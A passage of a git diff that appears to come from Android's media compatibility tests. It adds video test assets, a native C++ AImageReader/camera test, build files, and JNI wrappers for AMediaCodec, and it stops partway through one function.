new file mode 100644
index 0000000..cbc6b2cc
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x362_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x480_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x480_30fps.webm
new file mode 100644
index 0000000..adef5bc
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x480_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_960x720_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_960x720_30fps.webm
new file mode 100644
index 0000000..44c0b82
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_960x720_30fps.webm
Binary files differ
diff --git a/tests/tests/media/assets/520x360h264decodertest.mp4 b/tests/tests/media/assets/video_decode_with_cropping-h264_520x360_60fps.mp4
similarity index 100%
rename from tests/tests/media/assets/520x360h264decodertest.mp4
rename to tests/tests/media/assets/video_decode_with_cropping-h264_520x360_60fps.mp4
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_with_cropping-vp9_520x360_60fps.webm b/tests/tests/media/assets/video_decode_with_cropping-vp9_520x360_60fps.webm
new file mode 100644
index 0000000..2ad27ed
--- /dev/null
+++ b/tests/tests/media/assets/video_decode_with_cropping-vp9_520x360_60fps.webm
Binary files differ
diff --git a/tests/tests/media/libimagereaderjni/AImageReaderCts.cpp b/tests/tests/media/libimagereaderjni/AImageReaderCts.cpp
new file mode 100644
index 0000000..c098f5f
--- /dev/null
+++ b/tests/tests/media/libimagereaderjni/AImageReaderCts.cpp
@@ -0,0 +1,569 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AImageReaderCts"
+//#define LOG_NDEBUG 0
+
+#include <jni.h>
+#include <stdint.h>
+#include <unistd.h>
+
+#include <algorithm>
+#include <mutex>
+#include <string>
+#include <vector>
+
+#include <android/log.h>
+#include <android/native_window_jni.h>
+#include <camera/NdkCameraError.h>
+#include <camera/NdkCameraManager.h>
+#include <camera/NdkCameraDevice.h>
+#include <camera/NdkCameraCaptureSession.h>
+#include <media/NdkImage.h>
+#include <media/NdkImageReader.h>
+
+//#define ALOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__)
+//#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
+#define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+#define ALOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+namespace {
+
+static constexpr int kDummyFenceFd = -1;
+static constexpr int kCaptureWaitUs = 100 * 1000;
+static constexpr int kCaptureWaitRetry = 10;
+static constexpr int kTestImageWidth = 640;
+static constexpr int kTestImageHeight = 480;
+static constexpr int kTestImageFormat = AIMAGE_FORMAT_YUV_420_888;
+
+struct FormatUsageCombination {
+    uint64_t format;
+    uint64_t usage;
+};
+
+static constexpr FormatUsageCombination supportedFormatUsage[] = {
+    {AIMAGE_FORMAT_YUV_420_888, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY},
+    {AIMAGE_FORMAT_YUV_420_888, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
+    {AIMAGE_FORMAT_JPEG, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY},
+    {AIMAGE_FORMAT_JPEG, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
+    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY},
+    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
+    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE},
+    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_VIDEO_ENCODE},
+};
+
+class CameraHelper {
+   public:
+    CameraHelper(ANativeWindow* imgReaderAnw) : mImgReaderAnw(imgReaderAnw) {}
+    ~CameraHelper() { closeCamera(); }
+
+    int initCamera() {
+        if (mImgReaderAnw == nullptr) {
+            ALOGE("Cannot initialize camera before image reader get initialized.");
+            return -1;
+        }
+        int ret;
+
+        mCameraManager = ACameraManager_create();
+        if (mCameraManager == nullptr) {
+            ALOGE("Failed to create ACameraManager.");
+            return -1;
+        }
+
+        ret = ACameraManager_getCameraIdList(mCameraManager, &mCameraIdList);
+        if (ret != AMEDIA_OK) {
+            ALOGE("Failed to get cameraIdList: ret=%d", ret);
+            return ret;
+        }
+        if (mCameraIdList->numCameras < 1) {
+            ALOGW("Device has no camera on board.");
+            return 0;
+        }
+
+        // We always use the first camera.
+        mCameraId = mCameraIdList->cameraIds[0];
+        if (mCameraId == nullptr) {
+            ALOGE("Failed to get cameraId.");
+            return -1;
+        }
+
+        ret = ACameraManager_openCamera(mCameraManager, mCameraId, &mDeviceCb, &mDevice);
+        if (ret != AMEDIA_OK || mDevice == nullptr) {
+            ALOGE("Failed to open camera, ret=%d, mDevice=%p.", ret, mDevice);
+            return -1;
+        }
+
+        ret = ACameraManager_getCameraCharacteristics(mCameraManager, mCameraId, &mCameraMetadata);
+        if (ret != ACAMERA_OK || mCameraMetadata == nullptr) {
+            ALOGE("Get camera %s characteristics failure. ret %d, metadata %p", mCameraId, ret,
+                  mCameraMetadata);
+            return -1;
+        }
+
+        if (!isCapabilitySupported(ACAMERA_REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE)) {
+            ALOGW("Camera does not support BACKWARD_COMPATIBLE.");
+            return 0;
+        }
+
+        // Create capture session
+        ret = ACaptureSessionOutputContainer_create(&mOutputs);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureSessionOutputContainer_create failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACaptureSessionOutput_create(mImgReaderAnw, &mImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureSessionOutput_create failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACaptureSessionOutputContainer_add(mOutputs, mImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureSessionOutputContainer_add failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACameraDevice_createCaptureSession(mDevice, mOutputs, &mSessionCb, &mSession);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACameraDevice_createCaptureSession failed, ret=%d", ret);
+            return ret;
+        }
+
+        // Create capture request
+        ret = ACameraDevice_createCaptureRequest(mDevice, TEMPLATE_STILL_CAPTURE, &mStillRequest);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACameraDevice_createCaptureRequest failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACameraOutputTarget_create(mImgReaderAnw, &mReqImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACameraOutputTarget_create failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACaptureRequest_addTarget(mStillRequest, mReqImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureRequest_addTarget failed, ret=%d", ret);
+            return ret;
+        }
+
+        mIsCameraReady = true;
+        return 0;
+    }
+
+    bool isCapabilitySupported(acamera_metadata_enum_android_request_available_capabilities_t cap) {
+        ACameraMetadata_const_entry entry;
+        ACameraMetadata_getConstEntry(
+                mCameraMetadata, ACAMERA_REQUEST_AVAILABLE_CAPABILITIES, &entry);
+        for (uint32_t i = 0; i < entry.count; i++) {
+            if (entry.data.u8[i] == cap) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    bool isCameraReady() { return mIsCameraReady; }
+
+    void closeCamera() {
+        // Destroy capture request
+        if (mReqImgReaderOutput) {
+            ACameraOutputTarget_free(mReqImgReaderOutput);
+            mReqImgReaderOutput = nullptr;
+        }
+        if (mStillRequest) {
+            ACaptureRequest_free(mStillRequest);
+            mStillRequest = nullptr;
+        }
+        // Destroy capture session
+        if (mSession != nullptr) {
+            ACameraCaptureSession_close(mSession);
+            mSession = nullptr;
+        }
+        if (mImgReaderOutput) {
+            ACaptureSessionOutput_free(mImgReaderOutput);
+            mImgReaderOutput = nullptr;
+        }
+        if (mOutputs) {
+            ACaptureSessionOutputContainer_free(mOutputs);
+            mOutputs = nullptr;
+        }
+        // Destroy camera device
+        if (mDevice) {
+            ACameraDevice_close(mDevice);
+            mDevice = nullptr;
+        }
+        if (mCameraMetadata) {
+          ACameraMetadata_free(mCameraMetadata);
+          mCameraMetadata = nullptr;
+        }
+        // Destroy camera manager
+        if (mCameraIdList) {
+            ACameraManager_deleteCameraIdList(mCameraIdList);
+            mCameraIdList = nullptr;
+        }
+        if (mCameraManager) {
+            ACameraManager_delete(mCameraManager);
+            mCameraManager = nullptr;
+        }
+        mIsCameraReady = false;
+    }
+
+    int takePicture() {
+        int seqId;
+        return ACameraCaptureSession_capture(mSession, nullptr, 1, &mStillRequest, &seqId);
+    }
+
+    static void onDeviceDisconnected(void* /*obj*/, ACameraDevice* /*device*/) {}
+
+    static void onDeviceError(void* /*obj*/, ACameraDevice* /*device*/, int /*errorCode*/) {}
+
+    static void onSessionClosed(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+    static void onSessionReady(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+    static void onSessionActive(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+   private:
+    ACameraDevice_StateCallbacks mDeviceCb{this, onDeviceDisconnected,
+                                           onDeviceError};
+    ACameraCaptureSession_stateCallbacks mSessionCb{
+        this, onSessionClosed, onSessionReady, onSessionActive};
+
+    ANativeWindow* mImgReaderAnw = nullptr;  // not owned by us.
+
+    // Camera manager
+    ACameraManager* mCameraManager = nullptr;
+    ACameraIdList* mCameraIdList = nullptr;
+    // Camera device
+    ACameraMetadata* mCameraMetadata = nullptr;
+    ACameraDevice* mDevice = nullptr;
+    // Capture session
+    ACaptureSessionOutputContainer* mOutputs = nullptr;
+    ACaptureSessionOutput* mImgReaderOutput = nullptr;
+    ACameraCaptureSession* mSession = nullptr;
+    // Capture request
+    ACaptureRequest* mStillRequest = nullptr;
+    ACameraOutputTarget* mReqImgReaderOutput = nullptr;
+
+    bool mIsCameraReady = false;
+    const char* mCameraId;
+};
+
+class ImageReaderTestCase {
+   public:
+    ImageReaderTestCase(int32_t width,
+                        int32_t height,
+                        int32_t format,
+                        uint64_t usage,
+                        int32_t maxImages,
+                        bool async)
+        : mWidth(width),
+          mHeight(height),
+          mFormat(format),
+          mUsage(usage),
+          mMaxImages(maxImages),
+          mAsync(async) {}
+
+    ~ImageReaderTestCase() {
+        if (mImgReaderAnw) {
+            AImageReader_delete(mImgReader);
+            // No need to call ANativeWindow_release on imageReaderAnw
+        }
+    }
+
+    int initImageReader() {
+        if (mImgReader != nullptr || mImgReaderAnw != nullptr) {
+            ALOGE("Cannot re-initalize image reader, mImgReader=%p, mImgReaderAnw=%p", mImgReader,
+                  mImgReaderAnw);
+            return -1;
+        }
+
+        media_status_t ret = AImageReader_newWithUsage(
+                mWidth, mHeight, mFormat, mUsage, mMaxImages, &mImgReader);
+        if (ret != AMEDIA_OK || mImgReader == nullptr) {
+            ALOGE("Failed to create new AImageReader, ret=%d, mImgReader=%p", ret, mImgReader);
+            return -1;
+        }
+
+        ret = AImageReader_setImageListener(mImgReader, &mReaderAvailableCb);
+        if (ret != AMEDIA_OK) {
+            ALOGE("Failed to set image available listener, ret=%d.", ret);
+            return ret;
+        }
+
+        ret = AImageReader_setBufferRemovedListener(mImgReader, &mReaderDetachedCb);
+        if (ret != AMEDIA_OK) {
+            ALOGE("Failed to set buffer detaching listener, ret=%d.", ret);
+            return ret;
+        }
+
+        ret = AImageReader_getWindow(mImgReader, &mImgReaderAnw);
+        if (ret != AMEDIA_OK || mImgReaderAnw == nullptr) {
+            ALOGE("Failed to get ANativeWindow from AImageReader, ret=%d, mImgReaderAnw=%p.", ret,
+                  mImgReaderAnw);
+            return -1;
+        }
+
+        return 0;
+    }
+
+    ANativeWindow* getNativeWindow() { return mImgReaderAnw; }
+
+    int getAcquiredImageCount() {
+        std::lock_guard<std::mutex> lock(mMutex);
+        return mAcquiredImageCount;
+    }
+
+    void HandleImageAvailable(AImageReader* reader) {
+        std::lock_guard<std::mutex> lock(mMutex);
+
+        AImage* outImage = nullptr;
+        media_status_t ret;
+
+        // Make sure AImage will be deleted automatically when it goes out of
+        // scope.
+        auto imageDeleter = [this](AImage* img) {
+            if (mAsync) {
+                AImage_deleteAsync(img, kDummyFenceFd);
+            } else {
+                AImage_delete(img);
+            }
+        };
+        std::unique_ptr<AImage, decltype(imageDeleter)> img(nullptr, imageDeleter);
+
+        if (mAsync) {
+            int outFenceFd = 0;
+            // Verity that outFenceFd's value will be changed by
+            // AImageReader_acquireNextImageAsync.
+            ret = AImageReader_acquireNextImageAsync(reader, &outImage, &outFenceFd);
+            if (ret != AMEDIA_OK || outImage == nullptr || outFenceFd != kDummyFenceFd) {
+                ALOGE("Failed to acquire image, ret=%d, outIamge=%p, outFenceFd=%d.", ret, outImage,
+                      outFenceFd);
+                return;
+            }
+            img.reset(outImage);
+        } else {
+            ret = AImageReader_acquireNextImage(reader, &outImage);
+            if (ret != AMEDIA_OK || outImage == nullptr) {
+                ALOGE("Failed to acquire image, ret=%d, outIamge=%p.", ret, outImage);
+                return;
+            }
+            img.reset(outImage);
+        }
+
+        AHardwareBuffer* outBuffer = nullptr;
+        ret = AImage_getHardwareBuffer(img.get(), &outBuffer);
+        if (ret != AMEDIA_OK || outBuffer == nullptr) {
+            ALOGE("Faild to get hardware buffer, ret=%d, outBuffer=%p.", ret, outBuffer);
+            return;
+        }
+
+        // No need to release AHardwareBuffer, since we don't acquire additional
+        // reference to it.
+        AHardwareBuffer_Desc outDesc;
+        AHardwareBuffer_describe(outBuffer, &outDesc);
+        int32_t imageWidth = 0;
+        int32_t imageHeight = 0;
+        int32_t bufferWidth = static_cast<int32_t>(outDesc.width);
+        int32_t bufferHeight = static_cast<int32_t>(outDesc.height);
+
+        AImage_getWidth(outImage, &imageWidth);
+        AImage_getHeight(outImage, &imageHeight);
+        if (imageWidth != mWidth || imageHeight != mHeight) {
+            ALOGE("Mismatched output image dimension: expected=%dx%d, actual=%dx%d", mWidth,
+                  mHeight, imageWidth, imageHeight);
+            return;
+        }
+
+        if (mFormat == AIMAGE_FORMAT_RGBA_8888 ||
+            mFormat == AIMAGE_FORMAT_RGBX_8888 ||
+            mFormat == AIMAGE_FORMAT_RGB_888 ||
+            mFormat == AIMAGE_FORMAT_RGB_565 ||
+            mFormat == AIMAGE_FORMAT_RGBA_FP16 ||
+            mFormat == AIMAGE_FORMAT_YUV_420_888) {
+            // Check output buffer dimension for certain formats. Don't do this for blob based
+            // formats.
+            if (bufferWidth != mWidth || bufferHeight != mHeight) {
+                ALOGE("Mismatched output buffer dimension: expected=%dx%d, actual=%dx%d", mWidth,
+                      mHeight, bufferWidth, bufferHeight);
+                return;
+            }
+        }
+
+        if ((outDesc.usage & mUsage) != mUsage) {
+            ALOGE("Mismatched output buffer usage: actual (%" PRIu64 "), expected (%" PRIu64 ")",
+                  outDesc.usage, mUsage);
+            return;
+        }
+
+        uint8_t* data = nullptr;
+        int dataLength = 0;
+        ret = AImage_getPlaneData(img.get(), 0, &data, &dataLength);
+        if (mUsage & AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN) {
+            // When we have CPU_READ_OFTEN usage bits, we can lock the image.
+            if (ret != AMEDIA_OK || data == nullptr || dataLength < 0) {
+                ALOGE("Failed to access CPU data, ret=%d, data=%p, dataLength=%d", ret, data,
+                      dataLength);
+                return;
+            }
+        } else {
+            if (ret != AMEDIA_IMGREADER_CANNOT_LOCK_IMAGE || data != nullptr || dataLength != 0) {
+                ALOGE("Shouldn't be able to access CPU data, ret=%d, data=%p, dataLength=%d", ret,
+                      data, dataLength);
+                return;
+            }
+        }
+        // Only increase mAcquiredImageCount if all checks pass.
+        mAcquiredImageCount++;
+    }
+
+    static void onImageAvailable(void* obj, AImageReader* reader) {
+        ImageReaderTestCase* thiz = reinterpret_cast<ImageReaderTestCase*>(obj);
+        thiz->HandleImageAvailable(reader);
+    }
+
+    static void
+    onBufferRemoved(void* /*obj*/, AImageReader* /*reader*/, AHardwareBuffer* /*buffer*/) {
+        // No-op, just to check the listener can be set properly.
+    }
+
+   private:
+    int32_t mWidth;
+    int32_t mHeight;
+    int32_t mFormat;
+    uint64_t mUsage;
+    int32_t mMaxImages;
+    bool mAsync;
+
+    std::mutex mMutex;
+    int mAcquiredImageCount{0};
+
+    AImageReader* mImgReader = nullptr;
+    ANativeWindow* mImgReaderAnw = nullptr;
+
+    AImageReader_ImageListener mReaderAvailableCb{this, onImageAvailable};
+    AImageReader_BufferRemovedListener mReaderDetachedCb{this, onBufferRemoved};
+};
+
+int takePictures(uint64_t readerUsage, int readerMaxImages, bool readerAsync, int pictureCount) {
+    int ret = 0;
+
+    ImageReaderTestCase testCase(
+            kTestImageWidth, kTestImageHeight, kTestImageFormat, readerUsage, readerMaxImages,
+            readerAsync);
+    ret = testCase.initImageReader();
+    if (ret < 0) {
+        return ret;
+    }
+
+    CameraHelper cameraHelper(testCase.getNativeWindow());
+    ret = cameraHelper.initCamera();
+    if (ret < 0) {
+        return ret;
+    }
+
+    if (!cameraHelper.isCameraReady()) {
+        ALOGW("Camera is not ready after successful initialization. It's either due to camera on "
+              "board lacks BACKWARDS_COMPATIBLE capability or the device does not have camera on "
+              "board.");
+        return 0;
+    }
+
+    for (int i = 0; i < pictureCount; i++) {
+        ret = cameraHelper.takePicture();
+        if (ret < 0) {
+            return ret;
+        }
+    }
+
+    // Sleep until all capture finished
+    for (int i = 0; i < kCaptureWaitRetry * pictureCount; i++) {
+        usleep(kCaptureWaitUs);
+        if (testCase.getAcquiredImageCount() == pictureCount) {
+            ALOGI("Session take ~%d ms to capture %d images", i * kCaptureWaitUs / 1000,
+                  pictureCount);
+            break;
+        }
+    }
+
+    return testCase.getAcquiredImageCount() == pictureCount ? 0 : -1;
+}
+
+}  // namespace
+
+// Test that newWithUsage can create AImageReader correctly.
+extern "C" jboolean Java_android_media_cts_NativeImageReaderTest_\
+testSucceedsWithSupportedUsageFormatNative(JNIEnv* /*env*/, jclass /*clazz*/) {
+    static constexpr int kTestImageCount = 8;
+
+    for (auto& combination : supportedFormatUsage) {
+        AImageReader* outReader;
+        media_status_t ret = AImageReader_newWithUsage(
+                kTestImageWidth, kTestImageHeight, combination.format, combination.usage,
+                kTestImageCount, &outReader);
+        if (ret != AMEDIA_OK || outReader == nullptr) {
+            ALOGE("AImageReader_newWithUsage failed with format: %" PRId64 ", usage: %" PRId64 ".",
+                  combination.format, combination.usage);
+            return false;
+        }
+        AImageReader_delete(outReader);
+    }
+
+    return true;
+}
+
+extern "C" jboolean Java_android_media_cts_NativeImageReaderTest_\
+testTakePicturesNative(JNIEnv* /*env*/, jclass /*clazz*/) {
+    for (auto& readerUsage :
+         {AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN}) {
+        for (auto& readerMaxImages : {1, 4, 8}) {
+            for (auto& readerAsync : {true, false}) {
+                for (auto& pictureCount : {1, 8, 16}) {
+                    if (takePictures(readerUsage, readerMaxImages, readerAsync, pictureCount)) {
+                        ALOGE("Test takePictures failed for test case usage=%" PRIu64 ", maxImages=%d, "
+                              "async=%d, pictureCount=%d",
+                              readerUsage, readerMaxImages, readerAsync, pictureCount);
+                        return false;
+                    }
+                }
+            }
+        }
+    }
+    return true;
+}
+
+extern "C" jobject Java_android_media_cts_NativeImageReaderTest_\
+testCreateSurfaceNative(JNIEnv* env, jclass /*clazz*/) {
+    static constexpr uint64_t kTestImageUsage = AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN;
+    static constexpr int kTestImageCount = 8;
+
+    ImageReaderTestCase testCase(
+            kTestImageWidth, kTestImageHeight, kTestImageFormat, kTestImageUsage, kTestImageCount,
+            false);
+    int ret = testCase.initImageReader();
+    if (ret < 0) {
+        ALOGE("Failed to get initialize image reader: ret=%d.", ret);
+        return nullptr;
+    }
+
+    // No need to release the window as AImageReader_delete takes care of it.
+    ANativeWindow* window = testCase.getNativeWindow();
+    if (window == nullptr) {
+        ALOGE("Failed to get native window for the test case.");
+        return nullptr;
+    }
+
+    return ANativeWindow_toSurface(env, window);
+}
diff --git a/tests/tests/media/libimagereaderjni/Android.mk b/tests/tests/media/libimagereaderjni/Android.mk
new file mode 100644
index 0000000..70699a7
--- /dev/null
+++ b/tests/tests/media/libimagereaderjni/Android.mk
@@ -0,0 +1,39 @@
+# Copyright 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Build the unit tests.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := libctsimagereader_jni
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := \
+    AImageReaderCts.cpp
+
+LOCAL_SHARED_LIBRARIES := \
+    libandroid \
+    libcamera2ndk \
+    libmediandk \
+    libnativewindow \
+    liblog
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+LOCAL_CFLAGS := -Werror -Wall
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libmediandkjni/Android.mk b/tests/tests/media/libmediandkjni/Android.mk
index 1ccdede..287fc3e 100644
--- a/tests/tests/media/libmediandkjni/Android.mk
+++ b/tests/tests/media/libmediandkjni/Android.mk
@@ -19,14 +19,17 @@
 #
 include $(CLEAR_VARS)
 
-LOCAL_MODULE    := libctsmediacodec_jni
+LOCAL_MODULE := libctsmediacodec_jni
 
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_SRC_FILES := \
   native-media-jni.cpp \
   codec-utils-jni.cpp  \
-  md5_utils.cpp
+  md5_utils.cpp \
+  native_media_utils.cpp \
+  native_media_decoder_source.cpp \
+  native_media_encoder_jni.cpp
 
 LOCAL_C_INCLUDES := \
   $(JNI_H_INCLUDE) \
@@ -36,11 +39,12 @@
 
 LOCAL_SHARED_LIBRARIES := \
   libandroid libnativehelper_compat_libc++ \
-  liblog libmediandk
+  liblog libmediandk libEGL
+LOCAL_NDK_STL_VARIANT := c++_static
 
-LOCAL_SDK_VERSION := 23
+LOCAL_SDK_VERSION := current
 
-LOCAL_CFLAGS := -Werror -Wall
+LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES -std=gnu++14
 
 include $(BUILD_SHARED_LIBRARY)
 
@@ -49,7 +53,7 @@
 #
 include $(CLEAR_VARS)
 
-LOCAL_MODULE    := libctsmediadrm_jni
+LOCAL_MODULE := libctsmediadrm_jni
 
 # Don't include this package in any configuration by default.
 LOCAL_MODULE_TAGS := optional
@@ -69,12 +73,12 @@
 
 LOCAL_SHARED_LIBRARIES := \
   libandroid libnativehelper_compat_libc++ \
-  liblog libmediandk libdl
+  liblog libmediandk libdl libEGL
 
-LOCAL_SDK_VERSION := 23
+LOCAL_SDK_VERSION := current
+
+LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
 
 LOCAL_NDK_STL_VARIANT := c++_static
 
-LOCAL_CFLAGS := -Werror -Wall
-
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libmediandkjni/md5_utils.cpp b/tests/tests/media/libmediandkjni/md5_utils.cpp
index 8e520e1..7850cac 100644
--- a/tests/tests/media/libmediandkjni/md5_utils.cpp
+++ b/tests/tests/media/libmediandkjni/md5_utils.cpp
@@ -157,7 +157,7 @@
  */
 void
 MD5Transform(UWORD32 buf[4], UWORD32 const in[16]) {
-  UWORD32 a, b, c, d;
+  /*register*/ UWORD32 a, b, c, d;
 
   a = buf[0];
   b = buf[1];
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
index 546ef2b..9439ed1 100644
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-media-jni.cpp
@@ -29,6 +29,8 @@
 #include <semaphore.h>
 
 #include <android/native_window_jni.h>
+#include <EGL/egl.h>
+#include <EGL/eglext.h>
 
 #include "media/NdkMediaExtractor.h"
 #include "media/NdkMediaCodec.h"
@@ -658,3 +660,467 @@
     return true;
 }
 
+// === NdkMediaCodec
+
+extern "C" jlong Java_android_media_cts_NdkMediaCodec_AMediaCodecCreateCodecByName(
+        JNIEnv *env, jclass /*clazz*/, jstring name) {
+
+    if (name == NULL) {
+        return 0;
+    }
+
+    const char *tmp = env->GetStringUTFChars(name, NULL);
+    if (tmp == NULL) {
+        return 0;
+    }
+
+    AMediaCodec *codec = AMediaCodec_createCodecByName(tmp);
+    if (codec == NULL) {
+        env->ReleaseStringUTFChars(name, tmp);
+        return 0;
+    }
+
+    env->ReleaseStringUTFChars(name, tmp);
+    return reinterpret_cast<jlong>(codec);
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecDelete(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong codec) {
+    media_status_t err = AMediaCodec_delete(reinterpret_cast<AMediaCodec *>(codec));
+    return err == AMEDIA_OK;
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecStart(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong codec) {
+    media_status_t err = AMediaCodec_start(reinterpret_cast<AMediaCodec *>(codec));
+    return err == AMEDIA_OK;
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecStop(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong codec) {
+    media_status_t err = AMediaCodec_stop(reinterpret_cast<AMediaCodec *>(codec));
+    return err == AMEDIA_OK;
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecConfigure(
+        JNIEnv *env,
+        jclass /*clazz*/,
+        jlong codec,
+        jstring mime,
+        jint width,
+        jint height,
+        jint colorFormat,
+        jint bitRate,
+        jint frameRate,
+        jint iFrameInterval,
+        jobject csd,
+        jint flags) {
+
+    AMediaFormat* format = AMediaFormat_new();
+    if (format == NULL) {
+        return false;
+    }
+
+    const char *tmp = env->GetStringUTFChars(mime, NULL);
+    if (tmp == NULL) {
+        AMediaFormat_delete(format);
+        return false;
+    }
+
+    AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, tmp);
+    env->ReleaseStringUTFChars(mime, tmp);
+
+    const char *keys[] = {
+            AMEDIAFORMAT_KEY_WIDTH,
+            AMEDIAFORMAT_KEY_HEIGHT,
+            AMEDIAFORMAT_KEY_COLOR_FORMAT,
+            AMEDIAFORMAT_KEY_BIT_RATE,
+            AMEDIAFORMAT_KEY_FRAME_RATE,
+            AMEDIAFORMAT_KEY_I_FRAME_INTERVAL
+    };
+
+    jint values[] = {width, height, colorFormat, bitRate, frameRate, iFrameInterval};
+    for (size_t i = 0; i < sizeof(values) / sizeof(values[0]); i++) {
+        if (values[i] >= 0) {
+            AMediaFormat_setInt32(format, keys[i], values[i]);
+        }
+    }
+
+    if (csd != NULL) {
+        void *csdPtr = env->GetDirectBufferAddress(csd);
+        jlong csdSize = env->GetDirectBufferCapacity(csd);
+        AMediaFormat_setBuffer(format, "csd-0", csdPtr, csdSize);
+    }
+
+    media_status_t err = AMediaCodec_configure(
+            reinterpret_cast<AMediaCodec *>(codec),
+            format,
+            NULL,
+            NULL,
+            flags);
+
+    AMediaFormat_delete(format);
+    return err == AMEDIA_OK;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSetInputSurface(
+        JNIEnv* env, jclass /*clazz*/, jlong codec, jobject surface) {
+
+    media_status_t err = AMediaCodec_setInputSurface(
+            reinterpret_cast<AMediaCodec *>(codec),
+            ANativeWindow_fromSurface(env, surface));
+
+    return err == AMEDIA_OK;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSetNativeInputSurface(
+        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec, jlong nativeWindow) {
+
+    media_status_t err = AMediaCodec_setInputSurface(
+            reinterpret_cast<AMediaCodec *>(codec),
+            reinterpret_cast<ANativeWindow *>(nativeWindow));
+
+    return err == AMEDIA_OK;
+
+}
+
+extern "C" jlong Java_android_media_cts_NdkMediaCodec_AMediaCodecCreateInputSurface(
+        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec) {
+
+    ANativeWindow *nativeWindow;
+    media_status_t err = AMediaCodec_createInputSurface(
+            reinterpret_cast<AMediaCodec *>(codec),
+            &nativeWindow);
+
+     if (err == AMEDIA_OK) {
